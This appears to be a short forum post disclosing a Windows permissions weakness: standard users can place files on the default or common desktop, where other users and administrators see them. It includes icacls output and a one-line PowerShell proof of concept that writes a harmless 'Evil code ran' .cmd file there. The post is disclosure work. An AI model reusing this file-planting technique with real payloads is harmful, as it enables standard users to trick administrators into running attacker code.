Standard Users can plant malicious files on other users and admins desktop

Why is it by default possible for Standard Users to plant files on other users (and admins!) desktops thatlog on for the first time !? 

C:\Windows\system32>icacls c:\Users\Default\Desktop
c:\Users\Default\Desktop BUILTIN\Administrators:(OI)(CI)(F)
                         NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                         NT AUTHORITY\SYSTEM:(F)
                         CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                         BUILTIN\Users:(OI)(CI)(RX)
                         BUILTIN\Users:(CI)(AD)
                         BUILTIN\Users:(CI)(WD)

Successfully processed 1 files; Failed processing 0 files

Powershell PoC:

'@ECHO Evil code ran and you were owned !!! & pause' | Out-File -LiteralPath "$([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::CommonDesktopDirectory))\Hello World.cmd" -Encoding ascii